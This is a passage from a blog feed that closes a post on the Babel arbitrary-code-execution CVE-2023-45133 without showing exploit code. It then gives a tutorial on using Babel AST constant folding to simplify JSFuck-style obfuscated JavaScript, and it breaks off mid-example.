bot mitigation entity would try to attempt Remote Code Execution (RCE) due to the legal ramifications. Meanwhile, professionals using Babel for malware reversal possess the expertise to conduct their analyses within controlled, sandboxed environments. Thus, the risk to the community, in real-world scenarios, remains minimal.</p><h1 id="Conclusion"><a href="#Conclusion" class="headerlink" title="Conclusion"></a>Conclusion</h1><p>Discovering and delving into this vulnerability was a fun experience. I initially stumbled upon the vulnerability during a brainstorming session for a Babel-based challenge for UofTCTF’s upcoming capture the flag competition, where I was focusing on an entirely different, non-security-related “bug”.</p><p>This vulnerability predominantly impacts those integrating untrusted code with Babel. Unfortunately, this places individuals leveraging Babel for “static deobfuscation” directly in the crosshairs of this attack vector.</p><p>There’s a touch of irony in the fact that my first credited CVE emerged from reverse engineering Babel - the very tool I often employ for reverse engineering JavaScript, and the topic of all of my previous posts 🤣.</p><p>This was a great learning experience, and hopefully this write-up was useful to you as well. Thanks for reading, and take care!</p><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://www.cve.org/CVERecord?id=CVE-2023-45133">CVE-2023-45133</a></li><li><a href="https://github.com/babel/babel/security/advisories/GHSA-67hx-6x53-jw92">GitHub Advisory Database: Arbitrary code execution when compiling specifically crafted malicious code</a></li></ul>]]></content>
<categories>
<category>Exploitation</category>
</categories>
<tags>
<tag>Javascript</tag>
<tag>Babel</tag>
<tag>Reverse Engineering</tag>
<tag>Exploitation</tag>
</tags>
</entry>
<entry>
<title>Deobfuscating Javascript via AST: A Peculiar JSFuck-esque Case</title>
<link href="/2022/06/14/Deobfuscating-Javascript-via-AST-Deobfuscating-a-Peculiar-JSFuck-style-Case/"/>
<url>/2022/06/14/Deobfuscating-Javascript-via-AST-Deobfuscating-a-Peculiar-JSFuck-style-Case/</url>
<content type="html"><![CDATA[<h1 id="Preface"><a href="#Preface" class="headerlink" title="Preface"></a>Preface</h1><p>This article assumes a preliminary understanding of Abstract Syntax Tree structure and <a href="https://babeljs.io/">BabelJS</a>. <a href="http://steakenthusiast.github.io/2022/05/21/Deobfuscating-Javascript-via-AST-An-Introduction-to-Babel/">Click Here</a> to read my introductory article on the usage of Babel.</p><p>It also assumes that you’ve read my article about constant folding. If you haven’t already read it, you can do so by clicking <a href="https://steakenthusiast.github.io/2022/05/28/Deobfuscating-Javascript-via-AST-Manipulation-Constant-Folding/">here</a></p><h1 id="Introduction"><a href="#Introduction" class="headerlink" title="Introduction"></a>Introduction</h1><p><a href="http://www.jsfuck.com/">JSFuck</a> is an esoteric and educational programming style based on the atomic parts of JavaScript. It uses only six different characters to write and execute code. I won’t be covering the intricacies of how JSFuck operates, so please refer to the official site if you’d like to learn more about it.</p><h1 id="Example-1-A-Simple-JSFuck-Case"><a href="#Example-1-A-Simple-JSFuck-Case" class="headerlink" title="Example 1: A Simple JSFuck Case"></a>Example 1: A Simple JSFuck Case</h1><p>Code obfuscated in JSFuck style tends to look like this:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><code class="hljs js"><span class="hljs-comment">// JSFUckObfuscated.js</span><br>+~!+!+!~+!!(<br> !+(<br> !+[] +<br> !![] +<br> !![] +<br> !![] +<br> !![] +<br> !![] +<br> !![] +<br> !![] +<br> [] +<br> (!+[] + !![] + !![]) +<br> (!+[] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) +<br> (!+-[] + +-!![] + -[]) +<br> (!+[] + !![] + !![] + !![]) +<br> -~~~[] +<br> (!+[] + !![] + !![] + !![] + !![] + !![]) +<br> (!+[] + !![] + !![] + !![]) +<br> (!+[] + !![] + !![] + !![] + !![] + !![] + !![])<br> ) /<br> +(<br> !+[] +<br> !![] +<br> !![] +<br> !![] +<br> !![] +<br> !![] +<br> !![] +<br> !![] +<br> [] +<br> (!+[] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) +<br> (!+[] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) +<br> (!+[] + !![] - []) +<br> (!+[] + !![] + !![]) +<br> (!+-[] + +-!![] + -[]) +<br> (!+[] + !![] + !![] + !![] + !![] + !![] + !![] + !![]) +<br> (!+[] + !![] + !![] + !![] + !![]) +<br> (!+[] + !![] + !![] + !![] + !![] + !![] + !![])<br> )<br>);<br></code></pre></td></tr></table></figure><p>Let’s try evaluating this code in the console:</p><p><img src="/2022/06/14/Deobfuscating-Javascript-via-AST-Deobfuscating-a-Peculiar-JSFuck-style-Case/jsfuck1.PNG" alt="Result of evaluating the code in the console"></p><p>We can see that it leads to a constant: <code>-1</code>. Our goal is to simplify code looking like this down to a constant number.</p><p>Before anything, let’s try reusing the <a href="https://steakenthusiast.github.io/2022/05/28/Deobfuscating-Javascript-via-AST-Manipulation-Constant-Folding/#Babel-Deobfuscation-Script">code from my constant folding article</a>.</p><h2 id="Trying-the-Original-Deobfuscator"><a href="#Trying-the-Original-Deobfuscator" class="headerlink" title="Trying the Original Deobfuscator"></a>Trying the Original Deobfuscator</h2><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><code class="hljs javascript"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Deobfuscator.js</span><br><span class="hljs-comment"> * The babel script used to deobfuscate the target file</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">const</span> parser = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/parser"</span>);<br><span class="hljs-keyword">const</span> traverse = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/traverse"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> t = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/types"</span>);<br><span class="hljs-keyword">const</span> generate = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/generator"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> beautify = <span class="hljs-built_in">require</span>(<span class="hljs-string">"js-beautify"</span>);<br><span class="hljs-keyword">const</span> { readFileSync, writeFile } = <span class="hljs-built_in">require</span>(<span class="hljs-string">"fs"</span>);<br><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Main function to deobfuscate the code.</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> source The source code of the file to be deobfuscated</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">deobfuscate</span>(<span class="hljs-params">source</span>) {<br> <span class="hljs-comment">//Parse AST of Source Code</span><br> <span class="hljs-keyword">const</span> ast = parser.<span class="hljs-title function_">parse</span>(source);<br><br> <span class="hljs-comment">// Visitor for constant folding</span><br> <span class="hljs-keyword">const</span> foldConstantsVisitor = {<br> <span class="hljs-title class_">BinaryExpression</span>(path) {<br> <span class="hljs-keyword">let</span> { confident, value } = path.evaluate(); <span class="hljs-comment">// Evaluate the binary expression</span><br> <span class="hljs-keyword">if</span> (!confident) <span class="hljs-keyword">return</span>; <span class="hljs-comment">// Skip if not confident</span><br> <span class="hljs-keyword">let</span> actualVal = t.<span class="hljs-title function_">valueToNode</span>(value); <span class="hljs-comment">// Create a new node, infer the type</span><br> <span class="hljs-keyword">if</span> (!t.<span class="hljs-title function_">isLiteral</span>(actualVal)) <span class="hljs-keyword">return</span>; <span class="hljs-comment">// Skip if not a Literal type (e.g. StringLiteral, NumericLiteral, Boolean Literal etc.)</span><br> path.<span class="hljs-title function_">replaceWith</span>(actualVal); <span class="hljs-comment">// Replace the BinaryExpression with the simplified value</span><br> },<br> };<br><br> <span class="hljs-comment">// Execute the visitor</span><br> <span class="hljs-title function_">traverse</span>(ast, foldConstantsVisitor);<br><br> <span class="hljs-comment">// Code Beautification</span><br> <span class="hljs-keyword">let</span> deobfCode = <span class="hljs-title function_">generate</span>(ast, { <span class="hljs-attr">comments</span>: <span class="hljs-literal">false</span> }).<span class="hljs-property">code</span>;<br> deobfCode = <span class="hljs-title function_">beautify</span>(deobfCode, {<br> <span class="hljs-attr">indent_size</span>: <span class="hljs-number">2</span>,<br> <span class="hljs-attr">space_in_empty_paren</span>: <span class="hljs-literal">true</span>,<br> });<br> <span class="hljs-comment">// Output the deobfuscated result</span><br> <span class="hljs-title function_">writeCodeToFile</span>(deobfCode);<br>}<br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Writes the deobfuscated code to output.js</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> code The deobfuscated code</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">writeCodeToFile</span>(<span class="hljs-params">code</span>) {<br> <span class="hljs-keyword">let</span> outputPath = <span class="hljs-string">"output.js"</span>;<br> <span class="hljs-title function_">writeFile</span>(outputPath, code, <span class="hljs-function">(<span class="hljs-params">err</span>) =></span> {<br> <span class="hljs-keyword">if</span> (err) {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"Error writing file"</span>, err);<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">`Wrote file to <span class="hljs-subst">${outputPath}</span>`</span>);<br> }<br> });<br>}<br><br><span class="hljs-title function_">deobfuscate</span>(<span class="hljs-title function_">readFileSync</span>(<span class="hljs-string">"./JSFuckObfuscated.js"</span>, <span class="hljs-string">"utf8"</span>));<br></code></pre></td></tr></table></figure><p>After processing the obfuscated script with the babel plugin above, we get the following result:</p><h4 id="Post-Deobfuscation-Result"><a href="#Post-Deobfuscation-Result" class="headerlink" title="Post-Deobfuscation Result"></a>Post-Deobfuscation Result</h4><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs javascript">+~!+!+!~+!!<span class="hljs-number">0</span>;<br></code></pre></td></tr></table></figure><p>That’s a lot of simplification! We could now just deduce from manual inspection that the result would be equal to <code>-1</code>. But, we’d prefer our debugger to do all the work for us. Time to analyze our code and make some changes!</p><h2 id="Analysis-Methodology"><a href="#Analysis-Methodology" class="headerlink" title="Analysis Methodology"></a>Analysis Methodology</h2><p>As always, we start our analysis using <a href="https://astexplorer.net/">AST Explorer</a>.</p><p>But first, let’s make a small simplification to the analysis process. Normally, we would paste the entire obfuscated script into AST explorer. However, we already know that our original constant folding visitor can do the majority of the cases for us. So, instead of analyzing the entire original script, we can shift our focus to what our deobfuscator <em>is not doing</em>. Therefore, we’ll only analyze the resulting code of our deobfuscator to figure out what we need to add.</p><p>That means we only need to analyze this one-liner: <code>+~!+!+!~+!!0;</code>. Let’s paste that into AST Explorer and see what we get.</p><p><img src="/2022/06/14/Deobfuscating-Javascript-via-AST-Deobfuscating-a-Peculiar-JSFuck-style-Case/jsfuck2.PNG" alt="View of the obfuscated code in AST Explorer"></p><p>Even though this code contains <code>+</code> operators, there are no <code>BinaryExpression</code>s present. In this case, the <code>+</code>‘s are <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Unary_plus">Unary Operators</a>. In fact, this code only contains nodes of type <code>UnaryExpression</code>, which then act on a single <code>NumericLiteral</code> node.</p><p>So, you may have realized by now why our deobfuscator doesn’t fully work. Our deobfuscator is only accounting for <code>BinaryExpressions</code>, and we have yet to add functionality to handle <code>UnaryExpressions</code>! So, let’s do that.</p><h2 id="Writing-the-Deobfuscator-Logic"><a href="#Writing-the-Deobfuscator-Logic" class="headerlink" title="Writing the Deobfuscator Logic"></a>Writing the Deobfuscator Logic</h2><p>Thankfully for us, the <code>path.evaluate()</code> method can also be used for UnaryExpressions. So, we should also create a visitor for nodes of type <code>UnaryExpression</code>, and run the same transformation for them.</p><p>If you’re still new to Babel, your first instinct might be to create two separate visitors: one for <code>UnaryExpression</code>s, and one for <code>BinaryExpression</code>s; then copy-paste the original plugin code inside of both. However, there is a much cleaner way of accomplishing the same thing. Babel allows you to run the same function for multiple visitor nodes by separating them with a <code>|</code> in the method name as a string. In our case, that would look like: <code>"BinaryExpression|UnaryExpression"(path)</code>.</p><p>In essence, all we need to do is change <code>BinaryExpression(path)</code> to <code>"BinaryExpression|UnaryExpression"(path)</code> in our deobfuscator. This will <em>mostly</em> work, but I want to explain some interesting findings regarding evaluation of UnaryExpressions.</p><h3 id="The-Problem"><a href="#The-Problem" class="headerlink" title="The Problem"></a>The Problem</h3><h4 id="Problems-with-UnaryExpression-Evaluation"><a href="#Problems-with-UnaryExpression-Evaluation" class="headerlink" title="Problems with UnaryExpression Evaluation"></a>Problems with UnaryExpression Evaluation</h4><p><code>path.evaluate()</code>, <code>UnaryExpression</code>s, and <code>t.valueToNode()</code> don’t work very well with each other due to their source code implementation. I’ll explain with a short example:</p><p>Let’s say we have the following code:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs js">~<span class="hljs-literal">false</span>;<br></code></pre></td></tr></table></figure><p>and we want to simplify it to:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs js">-<span class="hljs-number">1</span>;<br></code></pre></td></tr></table></figure><p>If we use the original code from the constant folding article and only replace the method name, we’ll have this visitor:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs js"><span class="hljs-comment">// ...</span><br><span class="hljs-keyword">const</span> foldConstantsVisitor = {<br> <span class="hljs-string">"BinaryExpression|UnaryExpression"</span>(path) {<br> <span class="hljs-keyword">let</span> { confident, value } = path.evaluate(); <span class="hljs-comment">// Evaluate the binary expression</span><br> <span class="hljs-keyword">if</span> (!confident) <span class="hljs-keyword">return</span>; <span class="hljs-comment">// Skip if not confident</span><br> <span class="hljs-keyword">let</span> actualVal = t.<span class="hljs-title function_">valueToNode</span>(value); <span class="hljs-comment">// Create a new node, infer the type</span><br> <span class="hljs-keyword">if</span> (!t.<span class="hljs-title function_">isLiteral</span>(actualVal)) <span class="hljs-keyword">return</span>; <span class="hljs-comment">// Skip if not a Literal type (e.g. StringLiteral, NumericLiteral, Boolean Literal etc.)</span><br> path.<span class="hljs-title function_">replaceWith</span>(actualVal); <span class="hljs-comment">// Replace the BinaryExpression with the simplified value</span><br> },<br>};<br><br><span class="hljs-comment">// Execute the visitor</span><br><span class="hljs-title function_">traverse</span>(ast, foldConstantsVisitor);<br><br><span class="hljs-comment">// ...</span><br></code></pre></td></tr></table></figure><p>But, if we run this, we’ll see that it returns:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs js">~<span class="hljs-literal">false</span>;<br></code></pre></td></tr></table></figure><p>which isn’t simplified at all.</p><p>Here’s why:</p><ol><li><p><code>t.valueToNode()</code>‘s implementation. Running <code>path.evaluate()</code> correctly returns an integer value, <code>-1</code>. However, t.valueToNode(-1) doesn’t create a <code>NumericLiteral</code> node with a value of <code>-1</code> as we would expect. Instead, it creates another <code>UnaryExpression</code> node, with properties <code>operator: -</code> and <code>argument: 1</code>. As such, <code>if (!t.isLiteral(actualVal)) return</code> results in an early return before replacement.</p></li><li><p>Even if we delete <code>if (!t.isLiteral(actualVal)) return</code> from our code, there’s still an issue. Since <code>t.valueToNode(-1)</code> constructs a <code>UnaryExpression</code>, we are checking UnaryExpressions, and we have no additional checks, our program will result in an infinite recursive loop, crashing our program once the maximum call stack size is exceeded:</p></li></ol><p><img src="/2022/06/14/Deobfuscating-Javascript-via-AST-Deobfuscating-a-Peculiar-JSFuck-style-Case/jsfuck3.png" alt="Maximum Call Stack Size Exceeded Error"></p><ol start="3"><li>Though not directly applicable to this code snippet, another problem is worth mentioning. Unary expressions can also have a <code>void</code> operator. Based on Babel’s source code, calling <code>path.evaluate()</code> on any <code>UnaryExpression</code> with a <code>void</code> operator will simplify it to <code>undefined</code>, <em>regardless of what the argument is</em>.</li></ol><p><img src="/2022/06/14/Deobfuscating-Javascript-via-AST-Deobfuscating-a-Peculiar-JSFuck-style-Case/jsfuck4.png" alt="Babel Source Code Snippet: \node_modules@babel\traverse\lib\path\evaluation.js"></p><p>This can be problematic in some cases, such as this example:</p><ul><li>Snippet 1:</li></ul><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs js"><span class="hljs-keyword">var</span> a = <span class="hljs-number">1</span>;<br><span class="hljs-keyword">function</span> <span class="hljs-title function_">set</span>(<span class="hljs-params"></span>) {<br> a = <span class="hljs-number">2</span>;<br>}<br><span class="hljs-keyword">void</span> <span class="hljs-title function_">set</span>();<br><span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(a); <span class="hljs-comment">// => 2</span><br></code></pre></td></tr></table></figure><p>Calling <code>path.evaluate()</code> to simplify the <code>void set()</code> <code>UnaryExpression</code> yields this:</p><ul><li>Snippet 2:</li></ul><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs js"><span class="hljs-keyword">var</span> a = <span class="hljs-number">1</span>;<br><span class="hljs-keyword">function</span> <span class="hljs-title function_">set</span>(<span class="hljs-params"></span>) {<br> a = <span class="hljs-number">2</span>;<br>}<br><span class="hljs-literal">undefined</span>;<br><br><span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(a); <span class="hljs-comment">// => 1</span><br></code></pre></td></tr></table></figure><p>The two pieces of code above are clearly not the same, as you can verify with their output.</p><h3 id="The-Fix"><a href="#The-Fix" class="headerlink" title="The Fix"></a>The Fix</h3><p>Thankfully, these three conditions are simple to account for. We can solve each of them as follows:</p><ol><li>Delete the <code>if (!t.isLiteral(actualVal)) return</code> check.</li><li>Add a check at the beginning of the visitor method to skip the node if it is a <code>UnaryExpression</code> with a <code>-</code> operator.</li><li>Add a check at the beginning of the visitor method to skip the node if it is a <code>UnaryExpression</code> with a <code>void</code> operator.</li></ol><p>I’ve also neglected to mention this before, but when using <code>path.evaluate()</code>, it’s best practice to also skip the replacement of nodes when it evaluates <code>Infinity</code> or <code>-Infinity</code> by returning early. This is because <code>t.valueToNode(Infinity)</code> creates a node of type BinaryExpression, which looks like <code>1 / 0</code>. Similarly, <code>t.valueToNode(-Infinity)</code> creates a node of type UnaryExpression, which looks like <code>-(1/0)</code>. In both of these cases, it can cause an infinite loop since our visitor will also visit the created nodes, which will crash our deobfuscator.</p><h3 id="Summarizing-the-Logic"><a href="#Summarizing-the-Logic" class="headerlink" title="Summarizing the Logic"></a>Summarizing the Logic</h3><p>So putting that all together, we have the following logic for our deobfuscator:</p><ol><li><p>Traverse the ast for nodes of type <code>BinaryExpression</code> and <code>UnaryExpression</code>.</p></li><li><p>Upon encountering one:</p></li><li><p>Check if it is of type <code>UnaryExpression</code> and uses a <code>void</code> or <code>-</code> operator. If the condition is true, skip the node by returning.</p></li><li><p>Evaluate the node using <code>path.evaluate()</code>.</p></li><li><p>If <code>path.evaluate()</code> returns <code>{confident:false}</code>, or <code>{value:Infinity}</code> or <code>{value:-Infinity}</code>, skip the node by returning.</p></li><li><p>Construct a new node from the returned <code>value</code>, and replace the original node with it.</p></li></ol><p>The Babel implementation looks like this:</p><h2 id="Babel-Deobfuscation-Script"><a href="#Babel-Deobfuscation-Script" class="headerlink" title="Babel Deobfuscation Script"></a>Babel Deobfuscation Script</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br></pre></td><td class="code"><pre><code class="hljs js"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Deobfuscator.js</span><br><span class="hljs-comment"> * The babel script used to deobfuscate the target file</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">const</span> parser = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/parser"</span>);<br><span class="hljs-keyword">const</span> traverse = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/traverse"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> t = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/types"</span>);<br><span class="hljs-keyword">const</span> generate = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/generator"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> beautify = <span class="hljs-built_in">require</span>(<span class="hljs-string">"js-beautify"</span>);<br><span class="hljs-keyword">const</span> { readFileSync, writeFile } = <span class="hljs-built_in">require</span>(<span class="hljs-string">"fs"</span>);<br><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Main function to deobfuscate the code.</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> source The source code of the file to be deobfuscated</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">deobfuscate</span>(<span class="hljs-params">source</span>) {<br> <span class="hljs-comment">//Parse AST of Source Code</span><br> <span class="hljs-keyword">const</span> ast = parser.<span class="hljs-title function_">parse</span>(source);<br><br> <span class="hljs-comment">// Visitor for constant folding</span><br> <span class="hljs-keyword">const</span> constantFold = {<br> <span class="hljs-string">"BinaryExpression|UnaryExpression"</span>(path) {<br> <span class="hljs-keyword">const</span> { node } = path;<br> <span class="hljs-keyword">if</span> (<br> t.<span class="hljs-title function_">isUnaryExpression</span>(node) &&<br> (node.<span class="hljs-property">operator</span> == <span class="hljs-string">"-"</span> || node.<span class="hljs-property">operator</span> == <span class="hljs-string">"void"</span>)<br> )<br> <span class="hljs-keyword">return</span>;<br> <span class="hljs-keyword">let</span> { confident, value } = path.evaluate(); <span class="hljs-comment">// Evaluate the binary expression</span><br> <span class="hljs-keyword">if</span> (!confident || value == <span class="hljs-title class_">Infinity</span> || value == -<span class="hljs-title class_">Infinity</span>) <span class="hljs-keyword">return</span>; <span class="hljs-comment">// Skip if not confident</span><br><br> <span class="hljs-keyword">let</span> actualVal = t.<span class="hljs-title function_">valueToNode</span>(value); <span class="hljs-comment">// Create a new node, infer the type</span><br> path.<span class="hljs-title function_">replaceWith</span>(actualVal); <span class="hljs-comment">// Replace the BinaryExpression with the simplified value</span><br> },<br> };<br><br> <span class="hljs-comment">//Execute the visitor</span><br> <span class="hljs-title function_">traverse</span>(ast, constantFold);<br> <span class="hljs-comment">// Code Beautification</span><br> <span class="hljs-keyword">let</span> deobfCode = <span class="hljs-title function_">generate</span>(ast, { <span class="hljs-attr">comments</span>: <span class="hljs-literal">false</span> }).<span class="hljs-property">code</span>;<br> deobfCode = <span class="hljs-title function_">beautify</span>(deobfCode, {<br> <span class="hljs-attr">indent_size</span>: <span class="hljs-number">2</span>,<br> <span class="hljs-attr">space_in_empty_paren</span>: <span class="hljs-literal">true</span>,<br> });<br> <span class="hljs-comment">// Output the deobfuscated result</span><br> <span class="hljs-title function_">writeCodeToFile</span>(deobfCode);<br>}<br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Writes the deobfuscated code to output.js</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> code The deobfuscated code</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">writeCodeToFile</span>(<span class="hljs-params">code</span>) {<br> <span class="hljs-keyword">let</span> outputPath = <span class="hljs-string">"output.js"</span>;<br> <span class="hljs-title function_">writeFile</span>(outputPath, code, <span class="hljs-function">(<span class="hljs-params">err</span>) =></span> {<br> <span class="hljs-keyword">if</span> (err) {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"Error writing file"</span>, err);<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">`Wrote file to <span class="hljs-subst">${outputPath}</span>`</span>);<br> }<br> });<br>}<br><br><span class="hljs-title function_">deobfuscate</span>(<span class="hljs-title function_">readFileSync</span>(<span class="hljs-string">"./jsFuckObfuscated.js"</span>, <span class="hljs-string">"utf8"</span>));<br></code></pre></td></tr></table></figure><p>After processing the obfuscated script with the babel plugin above, we get the following result:</p><h2 id="Post-Deobfuscation-Result-1"><a href="#Post-Deobfuscation-Result-1" class="headerlink" title="Post-Deobfuscation Result"></a>Post-Deobfuscation Result</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs js">-<span class="hljs-number">1</span>;<br></code></pre></td></tr></table></figure><p>And we finally arrive at the correct constant value!</p><h1 id="Example-2-A-More-Peculiar-Case"><a href="#Example-2-A-More-Peculiar-Case" class="headerlink" title="Example 2: A More Peculiar Case"></a>Example 2: A More Peculiar Case</h1><p>That first example was just a warm-up, and not what I really wanted to focus on (hence the title of the article). This next example isn’t too much more difficult, but it <em>will</em> require you to think a bit outside of the box.</p><p>Here’s our obfuscated sample:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs js"><span class="hljs-keyword">let</span> obbedVar = +([[[[[[]], , ,]]]] != <span class="hljs-number">0</span>);<br></code></pre></td></tr></table></figure><p>Let’s try running this in a javascript console to see what it simplifies to:</p><p><img src="/2022/06/14/Deobfuscating-Javascript-via-AST-Deobfuscating-a-Peculiar-JSFuck-style-Case/jsfuck5.png" alt="Result of evaluating the code in the console"></p><p>So, it simplifies to a numeric literal, <code>1</code>!</p><p>The structure of the obfuscated sample looks similar to that of the first example. We know that it leads to a constant, so let’s first try running this sample through the improved deobfuscator we created above.</p><p>If you do that, you’ll see that it yields:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs js"><span class="hljs-keyword">let</span> obbedVar = 